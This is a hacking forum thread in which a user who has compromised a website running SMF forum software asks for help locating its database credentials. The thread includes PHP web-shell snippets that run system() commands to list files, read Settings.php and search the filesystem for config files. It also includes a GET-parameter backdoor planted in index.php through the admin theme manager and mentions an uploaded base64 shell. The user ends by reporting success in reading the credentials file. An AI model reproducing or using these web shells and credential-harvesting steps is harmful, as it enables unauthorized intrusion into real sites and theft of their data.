I've got a shell with system()... The site has smf forum and normally there is a configuration file called Settings.php that has db user and pass, I found this by dll the source. So you would think this:

Code:
<? @system("ls /blah/blah/forum/"); ?>

It's there...so

<? @system("cat /blah/blah/forum/Settings.php"); ?>


but this file is showing up empty... So I don't understand where the db connection is made. I also tried this:

Code:

<? @system("find / -name '*.conf*'"); ?>
and
<? @system("find / -name '*Settings*'"); ?>


No success of finding db connection
Confused

Any ideas? Wink

prolly its chmod permissions or system() commands are disabled for that user.

Try a better code use this...

btw im guessing ur editing the code in the index.php file from the admin theme manager.


Code:

<?php
if(isset($_GET['lol'])){echo "<h1>lol</h1><pre>"; system($_GET['lol']);exit;}
?>


using this...
ex. http://somesite.com/index.php?lol=command (like wget,cat,ls -la,etc)

I'm not able to check to see if login.php will work because the creditials for the login isn't on this pc.

I did upload a b64 shell and it crashed the forum and was put back up later in the day. Not sure why this happened but I don't want it to happen again Laughing

@Pexli
This looks to be useful in LogInOut.php
Code:

$context['default_username'] = &$_REQUEST['u'];
$context['default_password'] = '';


I see it in the source of SMF but not in the one on the server

Rolling Eyes

Where is this db connection made? Mad

@Pexli
Thanks for reply. I'm getting the same output with readfile() as cat in system() Confused

This is the code at the top of the page:
Code:

'\'' . $user_settings['passwordSalt'] . '\'')); setLoginCookie($timeout - time(), $ID_MEMBER, sha1($user_settings['passwd']


So this part of the source seems to be missing or deleted?
Code:
   
       $context['page_title'] = $txt[34];
   $context['default_username'] = &$_REQUEST['u'];
   $context['default_password'] = '';
   $context['never_expire'] = false;

This worked, I can read the copied Settings.php file. Must have been some protection from reading it. Smile

Thanks a lot pexli Wink
